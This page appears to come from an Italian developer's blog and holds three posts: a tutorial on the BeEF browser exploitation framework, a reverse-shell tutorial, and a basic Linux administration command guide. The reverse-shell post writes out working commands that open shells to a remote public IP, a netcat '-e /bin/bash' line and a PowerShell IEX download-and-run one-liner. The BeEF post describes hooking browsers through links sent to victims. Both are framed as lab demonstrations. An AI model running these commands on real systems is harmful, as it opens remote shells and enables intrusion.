Nicholas Giordano

Cloud Arch. & Full Stack Developer

BeEF: Browser Exploitation Framework

Di cosa stiamo parlando?

BeEF è l’abbreviazione di The Browser Exploitation Framework. È uno strumento di test di penetrazione che si concentra sui web browser (chrome, firefox, ecc.).

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

In parole povere è un software che ci permette di “attaccare” un client utilizzando come unico vettore il browser web del client stesso.

Struttura di base dell’attacco:

  1. Creo una sessione di BeEF su una macchina ad ip statico connessa alla rete web globale
  2. Infetto il client tramite sito web contenente codice malevolo/invio un link manevolo
  3. Controllo la macchina client infettata tramite del codice js incapsulato nel punto 2

Utilizzando come vettore un web browser, questo attacco funziona su qualsiasi dispositivo dotato di web browser (smartphone compresi!)

Portare avanti l’attacco:

E’ fondamentale aver installato BeEF su una macchina remota, ad ip statico e che sia raggiungibile dal client, questa macchina si occuperà di propagare l’infezione sul client incapsulando codice malevolo all’interno di una pagina web infettata o di un sito malevolo creato ad hoc. Una volta fatto ciò tramite la GUI di BeEF sarà possibile visionare un elenco dei client (browser web) infettati e sarà possibile controllarli o ottenerne dati/informazioni in vari modi.

Creazione della macchina BeEF:

Possiamo hostare BeEF ovunque, per comodità utilizzeremo un server linux in cloud, per garantirci di avere un ip statico ed una macchina connessa ad internet. Possiamo farlo (a scopo di test) utilizzando und droplet basata su ubuntu all’interno di digitalocean (o qualsiasi altro provider) seguendo la guida ufficiale per ubuntu, oppure caricandola come container docker all’interno di un qualsiasi host in cui docker sia in esecuzione. In maniera alternativa, se vogliamo un’ installazione rapida e del tutto guidata, possiamo utilizzare lo script di installazione presente nella repository GitHub ufficiale.

Per prima cosa dobbiamo collegarci alla macchina remota su cui vogliamo installare BeEF:

$ ssh [email protected]

Potremo poi procedere a scaricare il sorgente di BeEF tramite git:

$ git clone https://github.com/beefproject/beef.git
$ cd beef

Una volta fatto ciò potremo lanciare l’installer, per avviare la procedura guidata di installazione, per farlo, una volta dentro la cartella della repository ci basta fare

$ ./install

Una volta terminata l’installazione è obbligatorio configurare delle credenziali per accedere al pannello di controllo di BeEF (per farlo basta modificare il file config.yaml presente nella cartella in cui stiamo operando) e possiamo quindi procedere a lanciare il software con il comando ./beef. Se tutto è andato a buon fine possiamo ora aprire un qualsiasi browser e accedere al pannello di controllo di BeEF recandoci su http://IP-Macchina-Remota:3000/ui/panel dove sarà possibile fare l’autenticazione ed iniziare ad usare il software.

schermata principale di BeEF dopo il primo login

Attaccare (attaccarsi) ad un web browser

Una volta installato beef possiamo procedere ad infettare un client, ci sono modi avanzati di creare url che siano credibili, o è possibile inserire del codice malevolo in qualsiasi pagina web. Di default BeEF ci mette a disposizione due modelli pronti per effettuare il test, come riportato nella schermata principale. Abbiamo due url che permettono di effettuare l’attacco:

  • http://IP-Macchina-Remota:3000/demos/basic.html
  • http://IP-Macchina-Remota:3000/demos/butcher/index.html

Per effettuare un test basta uno qualsiasi di questi url di prova, la differenza tra i due è che il secondo ha le sembianze di un sito web più “reale”.

Per portare avanti l’attacco non ci resta che inviare quindi uno di questi due link al client remoto, che dovrà unicamente aprirli con il proprio browser.

Una volta che il client avrà aperto il link inviato questo risulterà all’interno del nostro pannello di controllo:

client “vittima” connesso

Una volta che uno o più client hanno cliccato sul link, ci basterà cliccare sul nome del client per vedere una vasta serie di dettagli o per eseguire un qualsiasi comando utilizzando l’opzione “commands”

schermata comandi per client remoto

Le cose che possiamo fare sono tante, non tutte sono compatibili con tutti i client, ma sicuramente tutte le funzioni a disposizione permettono di effettuare un test di sicurezza molto robusto, utilizzando come vettore il software più usato di tutti (il “web browser”).

Questa tipologia di attacco è particolarmente interessante e “preoccupante”, paradossalmente mentre leggete questa pagina potrebbe essere in esecuzioni del codice js che ha appena “agganciato” il vostro browser ad una mia ipotetica sessione di BeEF. (Non vi preoccupate, non è così).

La domanda nasce spontanea: come ci si difende? La risposta a questa domanda non è facile, potremmo ispezionare ogni singola pagina web alla ricerca di script malevoli, ma sarebbe una ricerca realisticamente infruttuosa. La cosa migliore che conviene fare è non aprire url sospetti e in linea generale prestare grande attenzione a quando si naviga sul web o si accede a siti particolari.

😀

Reverse shell

Cosa si intende per reverse shell? Solitamente, per ottenere il controllo di un sistema compromesso, un attaccante punta ad ottenere accesso ad una shell per poter eseguire comandi arbitrari e poter operare direttamente su un sistema.

Immaginando una situazione in cui il sistema attaccato è un server remoto, l’utente attaccante si comporta come client mentre la macchina oggetto dell’attacco è il server remoto. Con il reverse shell i ruoli sono invece invertiti: è la macchina oggetto dell’attacco che avvia la connessione con l’utente remoto, che semplicemente resta in attesa di questa connessione su specifiche porte.

L’attacco mediante reverse shell è molto comune per come i firewall sono solitamente configurati sui server: raramente un firewall permetterà accesso diretto ad una shell da un indirizzo sconosciuto, e le uniche porte ampiamente aperte a tutta la rete saranno con buona probabilità la porta 80 (HTTP) e la 443 (HTTPS). Al contrario delle porte in entrata, i firewall non limitano solitamente le connessioni in uscita dal server, ciò potrebbe permettere ad un attaccante di stabilire una connessione tra un suo server (preferibilmente con un ip pubblico da cui sia possibile fare routing se l’obiettivo è una macchina remota) e la macchina oggetto dell’attacco mediante l’utilizzo di tool come netcat, facendo partire la connessione dalla macchina remota (eliminando le restrizioni delle regole in ingresso imposte dal firewall) e restando semplicemente in attesa di quella connessione.

Per dimostrare quanto detto sopra, ipotizzeremo di attaccare due macchine presenti sulla nostra rete locale, che nel nostro caso saranno due VM: Windows10 e KaliLinux. Per dimostrare l’efficacia dell’attacco useremo invece una macchina all’esterno della nostra rete che può essere una vps, un’ istanza EC2 in AWS, una macchina virtuale su Azure o una droplet su Digital Ocean (nel nostro caso useremo l’ultima opzione). Se non abbiamo la possibilità di creare macchine virtuali sulla nostra rete locale ovviamente nulla ci vieta di effettuare una prova di attacco su un pc fisico o sul nostro stesso sistema.

Setup della macchina “attaccante” (colei che sarà in attesa delle connessioni)

Per prima cosa dobbiamo configurare una macchina linux remota dove più preferiamo, nel nostro caso utilizzeremo DigitalOcean. Se non avete un account su digitalocean potete utilizzare il link che segue per crearne uno, ottenere 100$ di credito gratuito per 60 giorni e fare tutte le prove che volete: https://m.do.co/c/42e75dfe7047 (magari per creare anche un sito web o altro).

Una volta effettuato accesso su digitalocean di basterà creare una nuova droplet come da immagine che segue

creazione droplet (macchina virtuale)

Sarà poi possibile scegliere la tipologia di droplet (vm) da creare, nel nostro caso una versione base di ubuntu18 con tutte le impostazioni al minimo va bene. E’ molto importante in questo passaggio ricordare la password/modalità di accesso scelta per la creazione della nostra droplet.

Se non sappiamo come creare una droplet possiamo fare riferimento al seguente video:

Una volta che la nostra droplet è stata creata con successo ci basta cliccarci sopra per visualizzare il suo indirizzo IP, che dovremo copiare e salvarci. Questo indirizzo ci servirà per connetterci e configurare la macchina remota e sarà utilizzando anche dai sistemi attaccati: sarà infatti l’indirizzo a cui questi si collegheranno.

IP della droplet

Una volta che abbiamo creato la nostra macchina remota basterà connetterci tramite ssh e iniziare la configurazione (su windows è possibile utilizzare il client Putty).

Apriamo un terminale e scriviamo ssh [email protected]_MACCHINA che nel nostro caso sarà ssh [email protected] , ci verrà a questo punto chiesta la password (scelta in fase di creazione della macchina remota); una volta inserita saremo collegati alla macchina. Netcat è installato di default su tutte le macchine linux, non c’è nulla da installare quindi; dobbiamo però avviare il processo di “ascolto” sulla macchina remota, che proprio come dice la parola stessa resterà in ascolto di connessioni provenienti dalle macchine attaccate.

Per mettere netcat in ascolto digitiamo sul terminale remoto a cui siamo connessi tramite ssh il comando nc -lnvp PORTA -s IP che nel nostro caso sarà nc -lnvp 87 -s 165.227.135.79.

I parametri hanno il seguente significato:

  • l = listen
  • n = no DNS (verrà utilizzato unicamente l’ip della macchina remota)
  • v = verbose
  • p = porta (la porta su cui saremo in ascolto)
  • s = specifica l’interfaccia di ascolto
esempio del sistema in ascolto

Connessione da macchina target Linux

Vediamo ora come stabilire una reverse shell da una macchina linux “vittima”. Nel nostro caso utilizzeremo una VM Kali Linux. Una volta avviata ci basta aprire il terminale e dare il comando nc -e /bin/bash INDIRIZZO_IP PORTA che nel nostro caso sarà nc -e /bin/bash 165.227.135.79 87. Dopo aver dato questo comando, se torniamo sulla nostra macchina remota noteremo che la shell segnala che effettivamente è stata ricevuta una connessione. Da questo momento, dalla nostra macchina remota, possiamo eseguire qualsiasi comando arbitrario sulla macchina vittima, ci basterà digitarli sulla shell della nostra macchina remota.

Esempio connessione ricevuta su macchina remota

Connessione da macchina target Windows

Al contrario dei sistemi Linux, su Windows netcat non è installato nativamente, possiamo certamente installarlo ma per quello che vogliamo provare a fare sarebbe molto più comodo poter utilizzare qualcosa presente di default sul sistema. Per fare ciò ci aiuta molto la presenza di Powershell sui sistemi Windows. Per fare questo utilizzeremo il repository git https://github.com/swisskyrepo/PayloadsAllTheThings che contiene una serie di script utili a questo scopo, nel nostro specifico caso useremo questo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows

Sulla macchina remota digitiamo stty raw -echo; (stty size; cat) | nc -lnvp PORTA -s IP che nel nostro caso sarà stty raw -echo; (stty size; cat) | nc -lnvp 87 -s 165.227.135.79. Fatto ciò la nostra macchina remota sarà di nuovo in ascolto e possiamo quindi ora passare alla macchina windows, aprire powershell e digitare IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell IP PORTA che nel nostro caso sarà IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 165.227.135.79 87. Un volta fatto ciò la macchina locale stabilirà una connessione con quella remota in ascolto e come per il caso precedente sarà per noi possibile eseguire comandi tramite shell della macchina remota.

E nella pratica?

Nella realtà dei fatti non avremo mai accesso diretto alle macchine “vittima” per lanciare i comandi visti in precedenza, il trucco è trovare il modo per far lanciare quei comandi alle macchine obiettivo. Può essere fatto in vari modi e utilizzando varie tecniche che non saranno approfondite in questo articolo che ha il solo scopo divulgativo.

Linux System Administration – Basi Fondamentali

In questo brevissimo articolo andiamo a coprire quelle che sono le operazioni più comuni durante l’amministrazione di un sistema Linux, parleremo quindi di una serie di comandi da dover utilizzare in disparate situazioni per analizzare e risolvere meglio eventuali problematiche o richieste.

Attenzione: Questa non sarà una guida “all’amministrazione di un sistema”, ma una raccorda di comandi utili da utilizzare.

Partiamo dalla rete

E’ fondamentale sapere come siamo connessi, su quali e quante interfacce e sopratutto qual’è il nostro indirizzo fisico. Per chi usa linux da molto sarà da sempre stato abituato al comando ifconfig, ebbene, questo comando è ormai desueto, ma dato che ancora funzionante su sistemi datati lo tratteremo lo stesso. ifconfig ci permette di ottenere tutte le informazioni del caso sulle nostre schede direte, semplicemente lanciandolo otterremo informazioni che riguardano: ipv4, ipv6, gateway e maschere di rete per ogni scheda di rete collegata alla nostra macchina (comprese quelle virtuali). Se siamo invece su in sistema recente conviene utilizzare il più comodo comando ip. Ad esempio:

ip address show 

per ottenere le stesse informazioni che ottenevamo con ifconfig

ip add show eth0

per ottenere le informazioni su un singolo device di rete (in questo caso eth0)

Le porte utilizzate e i socket occupati

Altra fondamentale operazione d’esser capaci di compiere è quella di conoscere quali porte/socket sono attualmente utilizzate dal sistema e sopratutto quali processi sono utilizzatori e quali ipotetici client nella nostra LAN o WAN possono connettervi. Per fare ciò dobbiamo utilizzare netstat. Utilizzare da solo netstat però ci fornisce una serie molto vasta di informazioni che vanno organizzate secondo criterio ed utilità, ad esempio possiamo passare argomenti a netstat per ottenere risultati utili alla nostra analisi nel seguente modo

netsat -tulpn

così facendo andiamo a filtrare tutte le connessioni udp e tcp (v4 e v6), lo stato di connessione (in ascolto o disconnesso), l’indirizzo di ascolto e il PID/processo che sta occupando quel socket. (Attenzione, per ottenere informazioni sul PID/processo bisogna eseguire netstat come root a meno che non vi siano processi che occupano socket e che sono lanciati dall’utente che esegue il comando).

Così come vale per ifconfig, anche netstat è ormai “obsoleto”, all’interno delle nuove distro troviamo infatti ss che può essere utilizzato come netstat e quindi chiamando ss con i seguenti parametri otteniamo lo stesso risultato

ss -tulpn

E’ interessante poi andare ad analizzare il risultato, che sarà una cosa del genere:

Netid  State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port                                             
udp    UNCONN  0       0              0.0.0.0:60389        0.0.0.0:*      users:(("avahi-daemon",pid=460,fd=14))    
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15588,fd=95))        
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15588,fd=44))        
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15525,fd=144))       
udp    UNCONN  0       0          224.0.0.251:5353         0.0.0.0:*      users:(("chrome",pid=15525,fd=81))        
udp    UNCONN  0       0              0.0.0.0:5353         0.0.0.0:*      users:(("avahi-daemon",pid=460,fd=12))    
udp    UNCONN  0       0        192.168.0.100:68           0.0.0.0:*      users:(("NetworkManager",pid=465,fd=19))  
udp    UNCONN  0       0                    *:1716               *:*      users:(("kdeconnectd",pid=1395,fd=12))    
udp    UNCONN  0       0                    *:54234              *:*      users:(("avahi-daemon",pid=460,fd=15))    
udp    UNCONN  0       0                    *:5353               *:*      users:(("avahi-daemon",pid=460,fd=13))    
tcp    LISTEN  0       0            127.0.0.1:631          0.0.0.0:*      users:(("cupsd",pid=2219,fd=8))           
tcp    LISTEN  0       0                    *:3306               *:*      users:(("docker-proxy",pid=817,fd=4))     
tcp    LISTEN  0       0                    *:6379               *:*      users:(("docker-proxy",pid=21854,fd=4))   
tcp    LISTEN  0       0                    *:8080               *:*      users:(("docker-proxy",pid=21840,fd=4))   
tcp    LISTEN  0       0                    *:80                 *:*      users:(("docker-proxy",pid=845,fd=4))     
tcp    LISTEN  0       0                    *:1716               *:*      users:(("kdeconnectd",pid=1395,fd=13))    
tcp    LISTEN  0       0                [::1]:631                *:*      users:(("cupsd",pid=2219,fd=7))           
tcp    LISTEN  0       0                    *:443                *:*      users:(("docker-proxy",pid=831,fd=4))     

ciò ci aiuta a capire quale servizio è possibile che sia raggiunto internamento dalla macchina che lo esegue e quale anche dalle macchine della rete a cui la macchina è connessa. Osservando i campi di indirizzo infatti possiamo subito distinguere i servizi locali (127.0.0.1) e quelli “pubblici” (0.0.0.0)

La gestione di base del filesystem

Altra operazione di sistema pressoché basilare consiste nel montare semplici partizioni e constatare quanto spazio è occupato da una particolare cartella. Tutte le distribuzioni linux hanno una cartella /mnt solitamente dedicata come “punto di mount” canonico, bisogna ricordare però che è possibile montare una qualsiasi partizione/unità locale o remota in qualsiasi cartella ovunque vi siano i permessi per farlo. Il comando mount se lanciato senza argomenti mostra un listato di tutto ciò che è montato sul sistema, se invece vogliamo montare un’unità ci basterà lanciare

mount *cosa voglio montare* *dove voglio montare*

Che nella realtà dei fatti, immaginando di voler montare la partizione /dev/sda2 sarà

mount /dev/sda2 /mnt

Nel caso in cui volessimo montare automaticamente una o più partizioni/volumi remoti automaticamente al boot dovremo modificare il file fstab con un qualsiasi editor di testo. Tale file si trova in /etc

E se volessimo controllare lo stato di utilizzo di uno o più dischi in un formato “umanamente leggibile?” Per fare ciò possiamo utilizzare df nel seguente modo:

df -h

per visualizzare le partizioni fisiche o remote

df -ah

per visualizzare tutte le partizioni (anche ad esempio i punti di mount virtuali di un’ipotetica applicazione o servizio dockerizzato sulla nostra macchina)

Se invece vogliamo sapere quanto occupi una particolare cartella possiamo utilizzare il comando ls in funzione estesa con il paramertro -l o più professionalmente il comando du

du -sh miacartella/

che restituirà la dimensione della cartella denominata miacartella

La gestione dei processi e dei servizi

Altra cosa fondamentale da saper fare è quella di saper gestire i processi e i servizi/demoni. In primo luogo ci interessa sapere quante risorse un determinato processo sta utilizzando, e in questo caso possiamo utilizzare le utility top o htop (il primo solitamente sempre installato in qualsiasi versione). Se vogliamo però essere più diretti ed individuare un singolo processo e tutti i thread in esso coinvolti possiamo utilizzare ps e grep in pipe e nel seguente modo:

ps aux | grep *nomeprocesso* 

Che restituirà l’utilizzo delle risorse (CPU) occupate da un processo e dai suoi figli.

Se invece parliamo di servizi, oltre a poter usare una pipe come quella sopra descritta per valutare lo stato d’esecuzione, è fondamentale poter operare su questi ed in particolar modo conoscerne lo stato (running, not running, error) e operare su quest’ultimo. Può essere utilizzato il comando service, anch’esso però deprecato nelle distribuzioni più recenti che sono passate alla gestione dei servizi utilizzando systemd. Prima di vedere la differenza d’approccio è però importante sapere cosa possiamo chiedere al gestore dei servizi/demoni:

  • status
  • start
  • stop
  • reload

Utilizzando il comando service la sintassi si presenta in questo modo:

service *nomeservizio* *operazione*

dove nomeservizio è il servizio su cui investigare e operazioni è invece una tra quelle descritte in precedenza. Se ad esempio volessimo conoscere lo stato del servizio nginx utilizzando questo comando dovremo digitare:

service nginx status

Tenendo invece in considerazione il nuovo approccio della maggior parte delle distribuzioni di nuova release che utilizzando systemd come gestore dovremo digitare:

systemctl status nginx

L’unica differenza tra i due comandi è quindi relativa al posizionamento dei loro argomenti, che risultano invertiti.

E se c’è qualcosa che non sappiamo?

In tutte le distro è presente l’utililty man che non è altro che un manuale per ogni comando, se quindi vogliamo sapere come funziona un programma o comando e come utilizzarlo ci basterò fare

man *comando*

che restituirà tutte le informazioni necessarie ad un utilizzo anche molto approfondito del *comando* passato come argomento.

Una cosa fondamentale che manca in questo breve articolo è la trattazione delle operazioni schedulate, il cron, che verrà trattato in un articolo interamente dedicato ad esso.